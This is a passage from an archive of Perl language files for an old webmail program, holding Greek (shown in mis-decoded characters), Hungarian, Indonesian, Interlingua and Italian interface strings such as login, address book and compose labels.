$L{'Edit Existing E-Mail Addresses'}="Ñõèìßóåéò õðÜñ÷ïíôùí e-mail Äéåõèýíóåùí";
$L{'Error: Login Failed'}=	"Error: Åßóïäïò ÁðÝôõ÷å";
$L{'loginerrmsg'}=		"Åßóïäïò áðÝôõ÷å: ËÜèïò üíïìá ×ñÞóôç Þ Êùäéêïý ðñüóâáóçò. Ðáñáêáëïýìå äïêéìÜóôå îáíÜ...";
$L{'logintimeout'}=		" ëåðôÜ Ý÷ïõí ðåñÜóåé áð' ôçí ôåëåõôáßá óáò åßóïäï.  Ðáñáêáëïýìå åéóÝëèåôå îáíÜ...";
$L{'Select All Messages'}=	"ÅðéëïãÞ üëùí ôùí e-mails";

$L{'Delete Selected Messages From Mail Server'}="ÄéáãñáöÞ åðéëåãìÝíùí e-mails áðü ôïí Server";

$L{'logoutconftitle'}=		"¸îïäïò åðéôõ÷çìÝíç";
$L{'logoutconfmsg1'}=		"";
$L{'logoutconfmsg2'}=		"Ðáñáêáëïýìå êëåßóôå ôïí Web Browser óáò.";
$L{'Confirmation Message'}= 	"Web Based E-mail";

$L{'Your Message Has Been SENT to the Following Recipients'}="Ôï ìÞíõìÜ óáò åóôÜëåé åðéôõ÷þò óôéò áêüëïõèåò Äéåõèýíóåéò";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Ôï ìÞíõìÜ óáò äÝí åóôÜëåé óôéò áêüëïõèåò Äéåõèýíóåéò";

$L{'Original Message'}="Ðñùôüôõðï ÌÞíõìá";
$L{'Return to Original Message'}="ÅðéóôñïöÞ óôï Ðñùôüôõðï ÌÞíõìá";
$L{'Address To Selected Users'}= "ÅéóáãùãÞ åðéëåãìÝíùí Äéåõèýíóåùí";

$L{'address_note'}="<b>Óçìåßùóç: </b>Âéâëßá Äéåõèýíóåùí ìå ðïëëÝò êáôá÷ùñÞóåéò áðáéôïýí ìåñéêÜ äåõôåñüëåðôá íá åíçìåñþóïõí ôá To:, Cc: and Bcc: ";

$L{'Reply'}=			"ÁðÜíôçóç";
$L{'Reply All'}=		"ÁðÜíôçóç óå üëïõò";
$L{'Forward'}=			"Ðñïþèçóç";
$L{'Previous'}=			"Ðñïçãïýìåíï";
$L{'Delete'}=			"ÄéáãñáöÞ";
$L{'Next'}=			"Åðüìåíï";
$L{'Webmail Error Message'}=	"ÌÞíõìá ËÜèïõò";
$L{'Back to Previous Page'}=	"ÅðéóôñïöÞ óôçí ðñïçãïýìåíç óåëßäá";
$L{'Compose'}=			"Äçìéïõñãßá e-mail";
$L{'Compose E-Mail'}=		"Äçìéïõñãßá e-mail";
$L{'Mail Box'}=			"Åéóåñ÷üìåíá";
$L{'Next Message'}=		"Åðüìåíï ìÞíõìá";
$L{'adupconf'}=			"Ôï âéâëßï Äéåõèýíóåþí óáò åíçìåñþèçêå åðéôõ÷þò!<br>";
$L{'Return'} = "ÅðéóôñïöÞ";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Ôï ìÞíõìÜ óáò äÝí åóôÜëåé óôéò áêüëïõèåò Äéåõèýíóåéò"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "ÊÜíôå Click óôá links (ìå ìðëÝ ÷ñþìá) ãéá íá óôåßëåôå e-mail óå Ýíá Üôïìï ìïíÜ÷á.";

# 3.14 additons

$L{'Replay'} = "ÅðáíÜëçøç";

# 3.26 additions

$L{'Set Preferences'}="Ñõèìßóåéò ëïãáñéáóìïý:";
$L{'Preferences'}="Ñõèìßóåéò Ðñïóùðéêïý Ëïãáñéáóìïý";
$L{'Your Name'}="Ïíïìáôåðþíõìï";
$L{'Your E-Mail Address'}="e-mail Äéåýèõíóç";
$L{'Your Signature'}="ÕðïãñáöÞ";
$L{'Update Preferences'}="ÅíçìÝñùóç Ñõèìßóåùí";
$L{'REQUIRED'}="ôï_USERNAME_óáò\@ôï_HOST_óáò.gr";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="¼íïìá ×ñÞóôç";
$L{'Password'}="Êùäéêüò ×ñÞóôç";
$L{'Log Into Your E-Mail Account!!'}="Åßóïäïò";
$L{'UGuide'}="Åã÷åéñßäéï ÷ñÞóçò (óôÜ ÁããëéêÜ)";
$L{'Bug Reports'}="ÁðïóôïëÞ ðñïâëçìÜôùí (BUGS) ôïõ ðñïãñÜììáôïò";

$L{'UPDATEALWAYS'}="¸ëåã÷ïò ãéá íÝá E-mails êáé äéáãñáöÞ ôïõò áðü ôïí Server êÜèå öïñÜ ðïõ åìöáíßæåôáé ï öÜêåëïò ôùí Åéóåñ÷ïìÝíùí (ç åðéëïãÞ \"ÅðáíáöïñÜ äéåãñáììÝíùí\" äåí åßíáé äéáèÝóéìç).";
$L{'UPDATELOGIN'}="¸ëåã÷ïò ãéá íÝá E-mails êáé äéáãñáöÞ ôïõò áðü ôïí Server ìïíÜ÷á êáôÜ ôçí Åßóïäï óôïí öÜêåëï Åéóåñ÷ïìÝíùí (ç åðéëïãÞ \"ÅðáíáöïñÜ äéåãñáììÝíùí\" åßíáé äéáèÝóéìç).";

$L{'Messages Deleted from Mail Server'}="Ôá ìçíýìáôá äéáãñÜöôçêáí áðü ôïí Server";
$L{'New Messages'}="ÍÝá e-mails";


$L{'PREFINTRO1'}="Ôá e-mails äéáãñÜöïíôáé áðü ôïí Server ìå ôçí ¸îïäï";
$L{'PREFINTRO2'}="Åáí îå÷Üóåôå íá âãåßôå áðü ôï ðñïóùðéêü óáò öÜêåëï, ôá e-mails èá äéáãñáöïýí ôçí åðüìåíç öïñÜ ðïõ èá åéóÝëèåôå óôçí èõñßäá óáò.";
$L{'PREFINTRO3'}="Ôá äéåãñáììÝíá e-mails ìðïñïýí íá \"åðáíÝëèïõí\" ìå ôï ðÜôçìá ôïõ êïõìðéïý: \"ÅðáíáöïñÜ ÄéåãñáììÝíùí\".";
$L{'PREFINTRO4'}="O Server åëÝã÷åôáé ãéá íÝá e-mails êÜèå öïñÜ ðïõ åéóÝñ÷åóôå óôï öÜêåëï: \"Åéóåñ÷üìåíá\".";

# 3.29 additions

$L{'POP Server Connect Error'} = "Áäõíáìßá óýíäåóçò ìå ôïí POP Server. ÅðéêïéíùíÞóôå ìå ôïí Administrastor.";
$L{'Unable to connect to POP server'} = "Áäõíáìßá óýíäåóçò ìå ôïí POP Server. ÅðéêïéíùíÞóôå ìå ôïí Administrastor.";
$L{'SMTP (sendmail) Server Connect Error'} = "Áäõíáìßá óýíäåóçò ìå ôïí SMTP (sendmail) Server. ÅðéêïéíùíÞóôå ìå ôïí Administrastor.";
$L{'Unable to connect to SMTP (sendmail) server'}="Áäõíáìßá óýíäåóçò ìå ôïí SMTP (sendmail) Server. ÅðéêïéíùíÞóôå ìå ôïí Administrastor.";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=		"Êáôá÷þñçóç Äéåýèõíóçò óôï âéâëßï Äéåõèýíóåùí";
$L{'Download Attachment'}=	"ÁðïèÞêåõóç ÓõíçììÝíïõ";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Åéóåñ÷üìåíá e-mails";
$L{'Saved Outgoing Messages'} =  "Åîåñ÷üìåíá e-mails";
$L{'Save Outgoing Message'}   =  "ÁðïèÞêåõóç åîåñ÷üìåíïõ e-mail";

# end 3.41 additions

return %L;

}
1;
wm357/language.hungarian.cgi100644    312    144       12735  7245677670  15247 0ustar  webmailuserssub get_language {

my %L;

# translator: Takács Gábor <taky@ugyvitelszolgaltato.hu>

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-2';

$L{'Back'}=			"Vissza";
$L{'Error: Login Expired'}=	"Hiba: Lejárt belépés";
$L{'Un-Delete'}=		"Visszaállítás";
$L{'Mail Box : 0 E-Mails'}=	"Postaláda : 0 E-Mail";
$L{'Update Confirmation'}=	"Módosítás Jóváhagyása";
$L{'Log In'}=			"Belépés";
$L{'Log Out'}=			"Kilépés";
$L{'Webmail Address Book'}=	"Webmail címjegyzék";
$L{'Add E-Mail Addresses'}=	"E-Mail cím hozzáadása";
$L{'Name'}=			"Név";
$L{'Address'}=			"Cím";
$L{'Addresses'}=		"Címek";
$L{'Address Book'}=		"Címjegyzék";
$L{'Open Address Book'}=	"Címjegyzék megnyitása";
$L{'Edit Address Book'}=	"Címjegyzék szerkesztése";
$L{'Update Address Book'}=	"Címjegyzék módosítása";
$L{'Cancel'}=			"Mégsem";
$L{'Web Based E-Mail'}=		"WEB alapú e-mail";
$L{'Date'}=			"Dátum";
$L{'Size'}=			"Méret";


$L{'To'}=			"Címzett";
$L{'From'}=			"Feladó";
$L{'Subject'}=			"Tárgy";
$L{'Cc'}=			"Másolatot kap";
$L{'Bcc'}=			"Másolatot kap (titkos)";


$L{'Attached'}=			"Csatolva";
$L{'Send E-Mail'}=		"E-Mail küldése";
$L{'Clear Message Box Only'}=	"Csak az üzenet törlése";
$L{'Attach Files To Your Message (Optional)'}="Fájlok csatolása a levélhez (Opcionális)";
$L{'Clear Message Box Only'}=	"Csak az üzenet törlése";
$L{'Webmail Address Book'}=	"Webmail Címjegyzék";
$L{'Edit Existing E-Mail Addresses'}="Meglévõ E-Mail cím szerkesztése";
$L{'Error: Login Failed'}=	"Hiba: Sikertelen belépés";
$L{'loginerrmsg'}=		"Sikertelen belépés: Rossz név vagy jelszó. Kérem próbálja újra...";
$L{'logintimeout'}=		" perc telt el az utolsó belépésed óta. Lépj be újra...";
$L{'Select All Messages'}=	"Minden levél kijelölése";

$L{'Delete Selected Messages From Mail Server'}="A kiválasztott levelek törlése a szerverrõl";

$L{'logoutconftitle'}=		"Kilépés jóváhagyása";
$L{'logoutconfmsg1'}=		"Sikeresen kiléptél.";
$L{'logoutconfmsg2'}=		"Zárd be a böngészõdet.";
$L{'Confirmation Message'}="Jóváhagyási üzenet";

$L{'Your Message Has Been SENT to the Following Recipients'}="Üzeneted a következõknek lett elküldve";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Üzeneted nem lett elküldve a következõknek";

$L{'Original Message'}="Eredeti levél";
$L{'Return to Original Message'}="Vissza az eredeti levélhez";
$L{'Address To Selected Users'}= "A kijelölt felhasználók címei";

$L{'address_note'}="<b>Megjegyzés: </b>A sok bejegyzésû címjegyzék módosítása egy pár percig eltarthat. Mezõk: címzett:, Másolatot kap: és Másolatot kap (titkos):";

$L{'Reply'}=			"Válasz";
$L{'Reply All'}=		"Válasz Mindenkinek";
$L{'Forward'}=			"Továbbítás";
$L{'Previous'}=			"Elõzõ";
$L{'Delete'}=			"Töröl";
$L{'Next'}=			"Következõ";
$L{'Webmail Error Message'}=	"Webmail hibaüzenet";
$L{'Back to Previous Page'}=	"Vissza az elõzõ oldalra";
$L{'Compose'}=			"Szerkesztés";
$L{'Compose E-Mail'}=		"E-Mail szerkesztés";
$L{'Mail Box'}=			"Postaláda";
$L{'Next Message'}=		"Következõ üzenet";
$L{'adupconf'}=			"A címjegyzéked sikeresen módosítva lett!<br>Lent az új címjegyzék látható.";
$L{'Return'} = "Vissza";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Üzeneted nem lett elküldve a következõknek"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "Klikkelj a kék linkre, ha csak egy embernek akarsz levelet küldeni";

# 3.14 additons

$L{'Replay'} = "Visszajátszás";

# 3.26 additions

$L{'Set Preferences'}="Beállítások";
$L{'Preferences'}="Beállítások";
$L{'Your Name'}="Neved";
$L{'Your E-Mail Address'}="E-Mail címed";
$L{'Your Signature'}="Aláírásod";
$L{'Update Preferences'}="Beállítások módosítása";
$L{'REQUIRED'}="SZÜKSÉGES";
$L{'YOURSIG'}="\r\n\r\nGipsz Jakab\r\nE-mail: jgipsz\@adjeweb.com\r\n(Megjegyzés: Két szóköz az aláírás elején ajánlott\r\na könnyed levelezéshez)\r\n";

$L{'User Name'} ="Felhasználói név";
$L{'Password'}="Jelszó";
$L{'Log Into Your E-Mail Account!!'}="Lépj be az E-mail postafiókodba!!";
$L{'UGuide'}="User's Guide (English)";
$L{'Bug Reports'}="Hibajelentés";

$L{'UPDATEALWAYS'}="A levelek olvasásakor mindíg törölje a szerverrõl a leveleket. A visszaállítás opció nem lehetséges!";
$L{'UPDATELOGIN'}="Olvasáskor csak a bejelentkezéskor törölje a leveleket a szerverrõl. A visszaállítás opció lehetséges!";

$L{'Messages Deleted from Mail Server'}="A levelek törölve a szerverrõl";
$L{'New Messages'}="Új levelek";


$L{'PREFINTRO1'}="A levelek kilépéskor törlõdnek a szerverrõl.";
$L{'PREFINTRO2'}="Ha elfelejtesz kilépni, akkor a legközelebbi belépéskor törlõdnek.";
$L{'PREFINTRO3'}="A törölt leveleket a postaláda 'visszaállítás' gombjával lehet visszanyerni.";
$L{'PREFINTRO4'}="Mikor a postaládádba lépsz, az új levelek letöltõdnek.";

# 3.29 additions

$L{'POP Server Connect Error'} = "POP Server csatlakozási hiba";
$L{'Unable to connect to POP server'} = "Nem sikerült csatlakozni a POP szerverhez";
$L{'SMTP (sendmail) Server Connect Error'} = "SMTP (sendmail) Szerver csatlakozási hiba";
$L{'Unable to connect to SMTP (sendmail) server'}="Nem sikerült csatlakozni az SMTP (sendmail) szerverhez";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=		"Cím mentése";
$L{'Download Attachment'}=	"Csatolt fálj letöltése";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Bejövõ levelek";
$L{'Saved Outgoing Messages'} =  "Elmentett kimenõ levelek";
$L{'Save Outgoing Message'}   =  "Kimenõ levelek mentése";

# end 3.41 additions

return %L;

}
1;
wm357/language.indonesian.cgi100644    312    144       12533  7245677670  15416 0ustar  webmailuserssub get_language {

my %L;

# translator: ivanh@link.net.id

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}=			"Kembali";
$L{'Error: Login Expired'}=	"Salah: login berakhir";
$L{'Un-Delete'}=		"Batal Hapus";
$L{'Mail Box : 0 E-Mails'}=	"Kotak Surat : 0 E-Mails";
$L{'Update Confirmation'}=	"Konfirmasi Perubahan";
$L{'Log In'}=			"Log In";
$L{'Log Out'}=			"Log Out";
$L{'Webmail Address Book'}=	"Buku Alamat Webmail";
$L{'Add E-Mail Addresses'}=	"Tambah Alamat E-mail";
$L{'Name'}=			"Nama";
$L{'Address'}=			"Alamat";
$L{'Addresses'}=		"Alamat";
$L{'Address Book'}=		"Buku Alamat";
$L{'Open Address Book'}=	"Buka Buku Alamat";
$L{'Edit Address Book'}=	"Ubah Buku Alamat";
$L{'Update Address Book'}=	"Perbaharui Buku Alamat";
$L{'Cancel'}=			"Batal";
$L{'Web Based E-Mail'}=		"Webmail";
$L{'Date'}=			"Tanggal";
$L{'Size'}=			"Ukuran File";


$L{'To'}=			"Ke";
$L{'From'}=			"Dari";
$L{'Subject'}=			"Perihal";
$L{'Cc'}=			"Cc";
$L{'Bcc'}=			"Bcc";


$L{'Attached'}=			"Lampiran";
$L{'Send E-Mail'}=		"Kirim E-Mail";
$L{'Clear Message Box Only'}=	"Bersihkan hanya Kotak Pesan";
$L{'Attach Files To Your Message (Optional)'}="Lampirkan Files Ke Pesan Anda (Optional)";
$L{'Clear Message Box Only'}=	"Bersihkan hanya Kotak Pesan";
$L{'Webmail Address Book'}=	"Buku Alamat Webmail";
$L{'Edit Existing E-Mail Addresses'}="Ubah Alamat E-Mail yang ada";
$L{'Error: Login Failed'}=	"Salah: Login Gagal";
$L{'loginerrmsg'}=		"Login Gagal: Nama Pemakai atau Kata Kunci salah. Silahkan ulang lagi...";
$L{'logintimeout'}=		" menit berlalu sejak login anda yang terakhir. Silahkan ulang lagi...";
$L{'Select All Messages'}=	"Pilih semua pesan";

$L{'Delete Selected Messages From Mail Server'}="Hapus Pesan terpilih dari Server Mail";

$L{'logoutconftitle'}=		"Konfirmasi Log Out";
$L{'logoutconfmsg1'}=		"Anda berhasil Log Out.";
$L{'logoutconfmsg2'}=		"Silahkan tutup Web Browser anda.";
$L{'Confirmation Message'}="Pesan Konfirmasi";

$L{'Your Message Has Been SENT to the Following Recipients'}="Pesan anda sudah dikirim ke alamat penerima";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Pesan anda tidak dapat dikirim ke alamat penerima";

$L{'Original Message'}="Pesan Semula";
$L{'Return to Original Message'}="Kembali ke Pesan Semula";
$L{'Address To Selected Users'}= "Alamat ke pemakai terpilih";

$L{'address_note'}="<b>Catatan: </b>Buku alamat dengan banyak data alamat akan sedikit lambat dalam perubahan pada bagian Ke:, Cc: dan Bcc:.";

$L{'Reply'}=			"Balasan";
$L{'Reply All'}=		"Balas Semua";
$L{'Forward'}=			"Sesudah";
$L{'Previous'}=			"Sebelum";
$L{'Delete'}=			"Hapus";
$L{'Next'}=			"Berikut";
$L{'Webmail Error Message'}=	"Pesan Kesalahan Webmail";
$L{'Back to Previous Page'}=	"Kembali ke Halaman Sebelumnya";
$L{'Compose'}=			"Membuat";
$L{'Compose E-Mail'}=		"Membuat E-mail";
$L{'Mail Box'}=			"Kotak Surat";
$L{'Next Message'}=		"Pesan Selanjutnya";
$L{'adupconf'}=			"Buku alamat anda telah selesai diperbaharui!<br>Buku alamat baru ditampilkan dibawah.";
$L{'Return'} = "Kembali";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Pesan anda tidak dapat dikirim ke alamat penerima";

$L{'Click on the links (in blue) to send email to one person only.'} = "Klik pada link (warna biru) untuk mengirim email ke satu orang saja.";

# 3.14 additons

$L{'Replay'} = "Ulang";

# 3.26 additions

$L{'Set Preferences'}="Atur Konfigurasi";
$L{'Preferences'}="Konfigurasi";
$L{'Your Name'}="Nama Anda";
$L{'Your E-Mail Address'}="Alamat E-mail Anda";
$L{'Your Signature'}="Tandatangan Anda";
$L{'Update Preferences'}="Perbaharui Konfigurasi";
$L{'REQUIRED'}="DIBUTUHKAN";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}";

$L{'User Name'} ="Nama Pemakai";
$L{'Password'}="Kata Kunci";
$L{'Log Into Your E-Mail Account!!'}="Log In ke E-Mail Account Anda!!";
$L{'UGuide'}="Panduan Pemakai (Indonesia)";
$L{'Bug Reports'}="Laporan Kesalahan";

$L{'UPDATEALWAYS'}="Periksa E-Mail dan Hapus pesan dari server mail setiap kali kotak pesan ditampilkan (Pilihan Batal Hapus tidak tersedia).";
$L{'UPDATELOGIN'}="Periksa E-Mail dan Hapus pesan dari server mail hanya saat Log-In (Pilihan Batal Hapus tidak tersedia).";

$L{'Messages Deleted from Mail Server'}="Pesan telah dihapus dari Server Mail";
$L{'New Messages'}="Pesan Baru";


$L{'PREFINTRO1'}="Pesan telah dihapus dari Server Mail saat LOG OUT.";
$L{'PREFINTRO2'}="Jika anda lupa untuk LOG OUT, pesan akan dihapus pada saat anda login kembali.";
$L{'PREFINTRO3'}="Pesan dapat di UN-DELETED lewat kotak pesan tombol \"Un-Delete\".";
$L{'PREFINTRO4'}="Pesan Baru akan diperiksa setiap kali kotak pesan ditampilkan.";

# 3.29 additions

$L{'POP Server Connect Error'} = "Kesalahan koneksi POP Server";
$L{'Unable to connect to POP server'} = "Tidak ada koneksi ke POP server";
$L{'SMTP (sendmail) Server Connect Error'} = "Kesalahan Koneksi SMTP (sendmail) Server";
$L{'Unable to connect to SMTP (sendmail) server'}="Tidak ada koneksi ke SMTP (sendmail) server";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=		"Simpan Alamat";
$L{'Download Attachment'}=	"Download Lampiran";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Pesan Masuk";
$L{'Saved Outgoing Messages'} =  "Simpan Pesan Keluar";
$L{'Save Outgoing Message'}   =  "Simpan Pesan Keluar";

# end 3.41 additions

return %L;

}
1;
wm357/language.interlingua.cgi100644    312    144       13654  7245677670  15615 0ustar  webmailuserssub get_language { 

#
# For info about Interlingua, check <http://www.interlingua.com/>.
# Translator: <ensjo@nautilus.com.br>
#

my %L;

# 
# MAKE SURE you leave html markups in... 
# 

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}= "Retornar";
$L{'Error: Login Expired'}= "Error: Session expirate";
$L{'Un-Delete'}= "Recuperar";
$L{'Mail Box : 0 E-Mails'}= "Cassa postal : 0 messages";
$L{'Update Confirmation'}= "Confirmation de actualization";
$L{'Log In'}= "Initiar session";
$L{'Log Out'}= "Terminar session";
$L{'Webmail Address Book'}= "Libro de adresses de Webmail";
$L{'Add E-Mail Addresses'}= "Additionar adresses de email";
$L{'Name'}= "Nomine";
$L{'Address'}= "Adresse";
$L{'Addresses'}= "Adresses";
$L{'Address Book'}= "Libro de adresses";
$L{'Open Address Book'}= "Aperir libro de adresses";
$L{'Edit Address Book'}= "Editar libro de adresses";
$L{'Update Address Book'}= "Actualizar libro de adresses";
$L{'Cancel'}= "Cancelar";
$L{'Web Based E-Mail'}= "Systema de email basate super le Web";
$L{'Date'}= "Data";
$L{'Size'}= "Grandor";


$L{'To'}= "A";
$L{'From'}= "De";
$L{'Subject'}= "Topico";
$L{'Cc'}= "Cc";
$L{'Bcc'}= "Bcc";


$L{'Attached'}= "Annexe";
$L{'Send E-Mail'}= "Inviar email";
$L{'Clear Message Box Only'}= "Nettar solmente le cassa de message";
$L{'Attach Files To Your Message (Optional)'}="Annexar fichieros a tu message (optional)";
$L{'Clear Message Box Only'}= "Nettar solmente le cassa de message";
$L{'Webmail Address Book'}= "Libro de adresses de Webmail";
$L{'Edit Existing E-Mail Addresses'}="Editar adresses de email existente";
$L{'Error: Login Failed'}= "Error: Session non initiate";
$L{'loginerrmsg'}= "Session non initiate: Nomine de usator o contrasigno incorrecte. Tenta de novo...";
$L{'logintimeout'}= " minutas ha passate desde tu ultime session. Initia un nove session...";
$L{'Select All Messages'}= "Selectiona tote le messages";

$L{'Delete Selected Messages From Mail Server'}="Elimina messages selectionate del servitor de email";

$L{'logoutconftitle'}= "Confirmation de termino de session";
$L{'logoutconfmsg1'}= "Session terminate con successo.";
$L{'logoutconfmsg2'}= "Per favor claude tu navigator de Web.";
$L{'Confirmation Message'}="Message de confirmation";

$L{'Your Message Has Been SENT to the Following Recipients'}="Tu message ha essite INVIATE al sequente destinatarios";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Tu message NON ha potite esser inviate al sequente destinatarios";

$L{'Original Message'}="Message original";
$L{'Return to Original Message'}="Retornar al message original";
$L{'Address To Selected Users'}= "Adressar al usatores selectionate";

$L{'address_note'}="<b>Nota:</b> Libros de adresses con multe elementos pote prender alcun secundas pro actualizar le campos A:, Cc: e Bcc:.";

$L{'Reply'}= "Responder";
$L{'Reply All'}= "Responder a totes";
$L{'Forward'}= "Repassar";
$L{'Previous'}= "Anterior";
$L{'Delete'}= "Eliminar";
$L{'Next'}= "Sequente";
$L{'Webmail Error Message'}= "Message de error de Webmail";
$L{'Back to Previous Page'}= "Retornar al pagina anterior";
$L{'Compose'}= "Rediger";
$L{'Compose E-Mail'}= "Regider email";
$L{'Mail Box'}= "Cassa postal";
$L{'Next Message'}= "Message sequente";
$L{'adupconf'}= "Tu libro de adresses ha essite actualizate con successo!<br>Le nove libro de adresses es exhibite infra.";
$L{'Return'} = "Retornar";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Tu message NON ha potite esser inviate al sequente destinatarios";

$L{'Click on the links (in blue) to send email to one person only.'} = "Clicca super le links (in blau) pro inviar email a un sol persona.";

# 3.14 additons 

$L{'Replay'} = "Repeter";

# 3.26 additions 

$L{'Set Preferences'}="Adjustar preferentias";
$L{'Preferences'}="Preferentias";
$L{'Your Name'}="Tu nomine";
$L{'Your E-Mail Address'}="Tu adresse de email";
$L{'Your Signature'}="Tu signatura";
$L{'Update Preferences'}="Actualizar preferentias";
$L{'REQUIRED'}="NECESSARI";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="Nomine del usator";
$L{'Password'}="Contrasigno";
$L{'Log Into Your E-Mail Account!!'}="Initiar session de accesso a tu conto de email!!";
$L{'UGuide'}="Manual del usator (in anglese)";
$L{'Bug Reports'}="Reportos de errores de programma";

$L{'UPDATEALWAYS'}="Controlar email e eliminar messages del servitor cata vice que le cassa postal es exhibite (option Recuperar NON disponibile).";
$L{'UPDATELOGIN'}="Controlar email e eliminar messages del servitor solmente in le initio del session (option Recuperar disponibile).";

$L{'Messages Deleted from Mail Server'}="Messages eliminate del servitor de email";
$L{'New Messages'}="Nove messages";


$L{'PREFINTRO1'}="Messages es eliminate del servitor de email in le termino del session.";
$L{'PREFINTRO2'}="Si tu oblidara terminar le session, le messages sera eliminate quando tu initiara un nove session.";
$L{'PREFINTRO3'}="Messages pote esser RECUPERATE via le button \"Recuperar\" in le cassa postal.";
$L{'PREFINTRO4'}="Le servitor de email es controlate quanto al existentia de NOVE messages cata vice que le cassa postal es exhibite.";

# 3.29 additions 

$L{'POP Server Connect Error'} = "Error de connexion al servitor POP";
$L{'Unable to connect to POP server'} = "Incapace de connecter al servitor POP";
$L{'SMTP (sendmail) Server Connect Error'} = "Error de connexion al servitor SMTP (sendmail)";
$L{'Unable to connect to SMTP (sendmail) server'}="Incapace de connecter al servitor SMTP (sendmail)";

# end 3.29 additions... 

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=             "Salvar adresse";
$L{'Download Attachment'}=      "Discargar annexo";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Messages Recipite";
$L{'Saved Outgoing Messages'} =  "Messages Expedite Salve";
$L{'Save Outgoing Message'}   =  "Salvar Messages Expedite";
  
# end 3.41 additions

return %L;

}
1;
wm357/language.italian.cgi100644    312    144       13247  7245677670  14713 0ustar  webmailuserssub get_language {

# Translator: "Andrea Ciardi" <andreac@mathema.com> 
# Translator: "Francesco Parodi" <francescop@homberger.com> 

my %L;

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}=			"Indietro";
$L{'Error: Login Expired'}=	"Errore: Accesso Scaduto";
$L{'Un-Delete'}=		"Ripristina";
$L{'Mail Box : 0 E-Mails'}=	"Casella Postale : 0 Messaggi";
$L{'Update Confirmation'}=	"Conferma Aggiornamento";
$L{'Log In'}=			"Accedi";
$L{'Log Out'}=			"Disconnetti";
$L{'Webmail Address Book'}=	"Elenco Indirizzi Webmail";
$L{'Add E-Mail Addresses'}=	"Aggiungi un Indirizzo";
$L{'Name'}=			"Nome";
$L{'Address'}=			"Indirizzo";
$L{'Addresses'}=		"Indirizzi";
$L{'Address Book'}=		"Elenco Indirizzi";
$L{'Open Address Book'}=	"Apri Elenco Indirizzi";
$L{'Edit Address Book'}=	"Edita Elenco Indirizzi";
$L{'Update Address Book'}=	"Aggiorna Elenco Indirizzi";
$L{'Cancel'}=			"Annulla";
$L{'Web Based E-Mail'}=		"E-Mail Via Web";
$L{'Date'}=			"Data";
$L{'Size'}=			"Dimensione";


$L{'To'}=			"A";
$L{'From'}=			"Da";
$L{'Subject'}=			"Oggetto";
$L{'Cc'}=			"Cc";
$L{'Bcc'}=			"Bcc";


$L{'Attached'}=			"Allegati";
$L{'Send E-Mail'}=		"Invia";
$L{'Clear Message Box Only'}=	"Cancella Solo il Testo";
$L{'Attach Files To Your Message (Optional)'}="Allega File al Tuo Messaggio (Opzionale)";
$L{'Clear Message Box Only'}=	"Cancella Solo il Testo";
$L{'Webmail Address Book'}=	"Elenco Indirizzi Webmail";
$L{'Edit Existing E-Mail Addresses'}="Edita Indirizzi Esistenti";
$L{'Error: Login Failed'}=	"Errore: Accesso Fallito";
$L{'loginerrmsg'}=		"Accesso Fallito: Username o password errati. Prova di nuovo...";
$L{'logintimeout'}=		" minuti trascorsi dal tuo ultimo accesso.  Accedi di nuovo...";
$L{'Select All Messages'}=	"Seleziona Tutti i Messaggi";

$L{'Delete Selected Messages From Mail Server'}="Cancella i Messaggi Selezionati dal Server di Posta";

$L{'logoutconftitle'}=		"Conferma Disconnessione";
$L{'logoutconfmsg1'}=		"Disconnessione Avvenuta.";
$L{'logoutconfmsg2'}=		"Ora Puoi Chiudere il Browser.";
$L{'Confirmation Message'}="Messaggio di Conferma";

$L{'Your Message Has Been SENT to the Following Recipients'}="Il Tuo Messaggio e' Stato Inviato ai Seguenti Indirizzi";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Il Tuo Messaggio Non Puo' Essere Inviato ai Seguenti Indirizzi";

$L{'Original Message'}="Messaggio Originale";
$L{'Return to Original Message'}="Ritorna al Messaggio Originale";
$L{'Address To Selected Users'}= "Invia a Indirizzi Selezionati";

$L{'address_note'}="<b>Note: </b>L'Elenco Indirizzi Con Troppe Voci Potrebbe Impiegare Alcuni Secondi per Aggiornare i Campi A:, Cc: and Bcc:.";

$L{'Reply'}=			"Rispondi";
$L{'Reply All'}=		"Rispondi a Tutti";
$L{'Forward'}=			"Inoltra";
$L{'Previous'}=			"Precedente";
$L{'Delete'}=			"Cancella";
$L{'Next'}=			"Successivo";
$L{'Webmail Error Message'}=	"Messaggio di Errore Webmail";
$L{'Back to Previous Page'}=	"Torna Alla Pagina Precedente";
$L{'Compose'}=			"Scrivi";
$L{'Compose E-Mail'}=		"Scrivi un Messaggio";
$L{'Mail Box'}=			"Casella Postale";
$L{'Next Message'}=		"Messaggio Successivo";
$L{'adupconf'}=			"Il Tuo Elenco Indirizzi e' Stato Aggiornato!<br>I Nuovi Indirizzi Sono Elencati Qui Sotto.";
